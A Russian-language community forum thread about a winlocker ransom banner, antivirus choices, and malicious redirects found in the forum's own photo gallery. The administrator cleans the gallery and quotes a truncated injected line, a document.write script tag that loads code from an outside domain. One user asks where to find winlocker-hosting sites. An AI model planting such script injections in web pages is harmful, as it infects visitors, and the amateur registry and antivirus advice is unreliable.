Антивирусы vs Вирусы, Вирусные эпидемии И борьба с ними Опции

[Altair]

предыдущей ночью прямо перед сном компутер сам по себе вырубился
утром, включив, увидел замечательный порнобанер по центру стола (на 1/9 площади)... таскманагер запускается, но остается невидимым (порнобанер скрывал окно манагера)
в run ветке убрал бяку (банерописатели совсем отупели походу), сам файл прописался в c:\users\ (7ка)... дада, прямо там... systems.exe... написан на делфях, в программе присутствуют компоненты некого pierre le riche (это мне процесс эхплорер подсказал, гугл находит много чего по запросу pierre le riche delphi)
на убийство ушло 2 минуты

главный вопрос: КАК он проник и запустился, при том что перед сном вырубаю нафиг все (кроме торрента)

п.с.: ах да, забыл сказать что эта бяка взяла и перенесла экзешник огнелиса тудаже в цэ\юзерс

[father]

Это потомушта в контакте много сидишь, не пользуешься коровой и пользуешься лисом огненным... предположил.
Ответ прост - сам запустил. Да и не такие уж и дураки писатели, ты же не разгадал механизма попадания? представь остальные вообще Винду переустанавливают...
забыл добавить =) сам я пользуюсь исключительно Оперой... так как на непопулярные броузеры скриптов не пишут... зловредных.
и ещё,у меня конечно чуть поболее времени ушло бы, так как я с ERD- соммander-а запускаюсь в таких случаях.

[Altair]

Это потомушта в контакте много сидишь, не пользуешься коровой и пользуешься лисом огненным... предположил.
Ответ прост - сам запустил. Да и не такие уж и дураки писатели, ты же не разгадал механизма попадания? представь остальные вообще Винду переустанавливают...
забыл добавить =) сам я пользуюсь исключительно Оперой... так как на непопулярные броузеры скриптов не пишут... зловредных.
и ещё,у меня конечно чуть поболее времени ушло бы, так как я с ERD- соммander-а запускаюсь в таких случаях.

фкантакте не сидим =)

[father]

обламался
я к этому подхожу чисто философски - люди, занимающиеся этим, по умолчанию рассчитывают на то, что человеку есть, что скрывать
Я знаю несколько человек, которые в борьбе с собой, переустанавливают оболочку...
Сейчас изощреннее стали заставки (на одной написано, что простоит трое суток, что-то типа того, а если хотите быстрее убрать, то шлите СМС...)
Так как закон минимально нарушен (самое большее, это вмешательство и распространение... даже иногда и этого нет, скрипт запускается по "желанию" пользователя...) то и наказания, в большинстве случаев, не будет...
Ещё бытует мнение, что все это запущено с подачи Властей. Наверное все заметили, что повысились продажи Антивирусов и прочего лицензионного ПО Прям какая-то прямая связь
В общем расчет на малообразованность пользователей. предполагаю.

[father]

Поменяю я видус что-ли .

Добуду-ка я себе вторую машину... и установлю на неё Фрю...

[Z@RrAZza]

Ответ прост - сам запустил.

выдумка все это. эксплойтов под браузеры полно поэтому ничего запускать не надо.
и опреа она от луквого. т.к. дает наивное ощущение безопасности.
Acinonyx™, а ты пользуй носкрипт и будет тебе счастье. а коровы тоже от лукавого.

[father]

выдумка все это. эксплойтов под браузеры полно поэтому ничего запускать не надо.
и опреа она от луквого. т.к. дает наивное ощущение безопасности.
Acinonyx™, а ты пользуй носкрипт и будет тебе счастье. а коровы тоже от лукавого.

и я то же спасибо
хотя поиск по Google.com говорит о том, что эксплоит и есть часть скрипта
я действительно наивно думаю, что Опера+Корова, меня защищает от многих напастей (в первую очередь от рекламы), хотя на сайте, чьим контентом я пользуюсь, научились обходить корову (придется в ручную научить её убивать рекламу в столбике...)
И мне важен результат. А он таков, что на моей машине ещё ни разу не запускался ни какой эксплоит, ни под каким скриптом мне так кажется, ну что бы я заметил...

[Nikorl]

Народ, а подкиньте-ка адресов сайтов на которых winlocker'ы обитают?
Вот чтоб прям зашел на сайт и уже чудо какое-нибудь в компе сидит и баннер с лихими девицами на экран высветить готовится.

[faker]

Народ, а подкиньте-ка адресов сайтов на которых winlocker'ы обитают?
Вот чтоб прям зашел на сайт и уже чудо какое-нибудь в компе сидит и баннер с лихими девицами на экран высветить готовится.

www.pornhub.com

[Altair]

ловля на живца?

[Hun]

У Каспера постоянные проблемы, и не только с тормозами системы, а например с ключами, которые постоянно блокируют. в вот АВГшка в этом плане программа бесплатная, систему не грузит и по защите касперу не уступает.

Сам пользовался АВГ. Отказался из-за того что у него много ложных срабатываний.
Блокирует незараженные файлы исходя из своей подозрительности без возможности их разблокировки

[father]

сегодня решил зайти в Фотогалерею с форума...
антивирус начал пугать по всякому:
но фотоальбом открылся... я закрыл в ручную на всякий случай...
антивирус поругался раз пять... или четыре, вот что успел, то зафиксировал - разбирайтесь... или в чёрный список этот адрес занести?

[MpaK]

Мой нод32 вчера тоже заругался.

[steder]

У меня Микрософтовский антивирь тоже ругался на вирус в галерее. AV, видимо, всё таки, что то там есть?

[father]

У меня Микрософтовский антивирь тоже ругался на вирус в галерее. AV, видимо, всё таки, что то там есть?

как минимум переадресатор
а дальше уже братья-чехи? пробивают

[AV]

щас

[griN]

Сам иногда поражаюсь где люди в инете цапают столько вирусов, в школе на флешках их тьма тьмуща... каспер орет как угарелый.
У самого дома Windows 7 стоит, и касперский 2011. и модем d-link 2600U . там порты закрыты, только на торрент один работает и все.
Регулярно винда качает обновления с сайта майкрософт.
Сколько знакомых знаю, многие цапают вирусы... Тут кто то говорил что Винда ХР если и модем без файервола встроеного то вирусы будут залетать. Наверное это так. Потому что у кого флешки беру, у них у всех как минимум ХР стоит.
А вообще забавно это все... Наверно майкрософт специально хочет чтобы все переходили на Windows7....
Обозреватель кстати у меня гугл хром )))

[AV]

щас проверьте галерею плиз.
У меня просто нечем.

[father]

[

[Nikorl]

А это в каком разделе галереи?
Нашел, в скрипте подарочек Х)

[father]

А это в каком разделе галереи?

просто нажимаю на Фотогалерея вверху и начинает отрабатывать Антивирус =)

[Hun]

щас проверьте галерею плиз.
У меня просто нечем.

[steder]

щас проверьте галерею плиз.
У меня просто нечем.

У меня показало тоже самое. Наличие какого то трояна.

[Быстрый Гонсалез]

Аналогичная ситуация, сначала сработал микрософтский антивирь, далее аваст.

[steder]

Сейчас заходил в галерею, вроде микрософтовый не ругнулся.

[Hun]

без изменений
та же картина

[AV]

Японский бог, блин.
Обновил ее уже. Все равно какая то собака порылась.
Из большинства ваших скриншотов вообще не ясно что и где :-). Просто ругаются антивири и все.
Попробую поиском по фазеровсеим скринам пройтись (единственные в которых есть хоть какие то идентификаторы).
Проблема в том, что движок галереи строит страницу из кучи скриптов, которые в свою очередь состоят из такой же кучи подскриптов и все в разных папках.

[AV]

Checking: http://foto.usinsk.in/main.php?g2_view=cor...61130a633d868f2
File size: 12.57 KB
File MD5: 7b0251f6b2f311ffd65b39ad75a169ce

http://foto.usinsk.in/main.php?g2_view=cor...61130a633d868f2 - Ok

Checking: http://foto.usinsk.in/main.php
Engine version: 5.0.2.3300
Total virus-finding records: 1705587
File size: 34.44 KB
File MD5: 585bc9ad52a01334f1ffdc09672a7967

http://foto.usinsk.in/main.php - archive HTML
>http://foto.usinsk.in/main.php/Script.0 - Ok
>http://foto.usinsk.in/main.php/Script.1 - Ok
>http://foto.usinsk.in/main.php/Script.2 - Ok
http://foto.usinsk.in/main.php - Ok

Это выдал Доктор Веб.

[father]

это что-то очень древнее JS/TrojanDownloader.HackLoad.AD. Я думаю AVG поможет, можно запустить, вычистить и удалить =)
Он 30 дней бесплатно работает

[AV]

father, под фриБСД тоже есть?

[Гришкин сын Сашк...]

[Vinni]

Объект архив http://foto.usinsk.in/main.php?g2_view=cor...61130a633d868f2
JS/TrojanDownloader.HackLoad.AF троян Связь завершена

Объект архив http://foto.usinsk.in/main.php?g2_view=cor...61130a633d868f2
JS/TrojanDownloader.HackLoad.AF троян Связь завершена

Объект архив http://foto.usinsk.in/main.php?g2_view=cor...61130a633d868f2
JS/TrojanDownloader.HackLoad.AF троян Связь завершена

ЗЫ:Но больше он мне не паказывает -)

[steder]

father, под фриБСД тоже есть?

Может попробовать онлайн проверки? Есть бесплатно на сайтах многих антивирей.

[AV]

steder, проверял. Результат Др.Веба вчера сюда запостил выше. Да любой может проверить любой сайт, там просто в поле адрес сайта вставляешь и все. По всем проверкам ничего подозрительного найдено не было.
Все что показывают ваши скриншоты это переходы на какие то другие сайты. Не более. Боятся нечего. Но неприятность эту надо как то решить все равно.

[father]

father, под фриБСД тоже есть?

я подумал, что я ещё и под Фрёй должен глянуть
Вот под Фрю http://www.avg.com.au/products/avg-server-edition-linux/
только AVG такая вещь, что начнет отсекать все ненужное =) Я снесу себя, когда он начал мне убивать ключи всякие разные. Но основную работу он сделал, у меня чисто

[AV]

А щас как?
Нашел тут дописки в ява скрипт:

document.write('<script src=http://unexpo.org................

[Hun]

А щас как?
Нашел тут дописки в ява скрипт:

document.write('<script src=http://unexpo.org................

Мазила перекрестилась на плохую репутацию, опера зашла спокойно.
НОД в обоих случаях пропустил без вопросов

[father]

Кстати загрузка почти мгновенная =) Антивирус молчит. Все чисто похоже...
Ты победил! Спасибо.

[steder]

Мазила перекрестилась на плохую репутацию, опера зашла спокойно.
НОД в обоих случаях пропустил без вопросов

А что у тебя за мозилла? Моя (Firefox) уже с год как не ругается на галерею. NOD32 v4 только на работе...

Ты победил! Спасибо.

Присоединяюсь. Спасибо AV !

[AV]

Аа-а-а-а-а, ну неужели! Фув! :-).
Я так понял эти штуки появились в результате открытой возможности комментировать фотки кем попало (без капчи и прочих преград). Вот и накидали мусора в свое время в код.
Вам, уважаемые, спасибо за настойчивость и помощь в побеждении ацких чешских спамеров!
Если еще что поймаете - сигнальте.

[father]

Поставил сегодня программу, называется Malwarebytes' Anti-Malware нашла мне 18 заражённых файлов (какие-то gif-ки) и ещё кой-чего
Программу надо настраивать например на этот форум (как и на городской сайт) не пускает. К соседям запросто захожу. Что может быть не так?
ps Я её выключил, что бы сюда зайти, включил когда форум был открыт... не блокирует
щя поставлю на Бук знакомого. словил вчера заставку, так геометрия диска навернулась после отправки СМС (спросил, чего сразу не позвал? обошлись бы просто откатом...)

pps вот ещё нашел сайт http://www.cy-pr.com/analysis/usinsk.in

[EGOReZ]

Кто-нибудь ставил мобильные антивирусы? Имею ввиду на телефон.

[Altair]

Кто-нибудь ставил мобильные антивирусы? Имею ввиду на телефон.

было дело на винмобильный моторол мпх200 ставил, но смысла от него было чуть меньше чем от пятого колеса на телеге.
о вирусах на айфон вообще никогда не слышал

[father]

тоже считаю, что антивирус на мобиле, лишнее...
я зарегестрирован, на сайтах типа allnokia там более/менее достоверная инфа и по моему мнению, вполне реальная помощь
там кстати, в первых строках о вездесущем Касперском

[Umka]

Посоветуйте что и как подгрузить к AVG, чтобы он на русской мове заговорил?

[Zetron]

Как бороться с разновидность" open" вируса ,которые блокирует диски доступ к ним -хотелось знать как в его в реестре чистить .

[Hun]

Для начала отключить автозапуск...
проверяешь автозагруку
потом ищешь в рееcтре сочетания
open0 - в конце нолик
open(0) - в скобках тоже нолик
если есть ключи записываешь с последующим их поиском и удаленеием
я тупо удалил все эти вещи правда это было не на моем компу, а у знакомого
аппарат до сих пор работает

[Zetron]

Для начала отключить автозапуск...
проверяешь автозагруку
потом ищешь в рееcтре сочетания
open0 - в конце нолик
open(0) - в скобках тоже нолик
если есть ключи записываешь с последующим их поиском и удаленеием
я тупо удалил все эти вещи правда это было не на моем компу, а у знакомого
аппарат до сих пор работает

Спасибо большое ,попробую сделать это . А вот в реестре чистить авто запуск с флешки или CD диска не в курсе .

[Hun]

На семерке в панеле упрвления отдельный пункт есть

[jar]

в общем так, господа, забудьте про антивирусы, это отъем бабла, пользуйтесь линуксом.

так как начал работать недавно в этой сфере, могу с некоторой долей уверенности это говорить )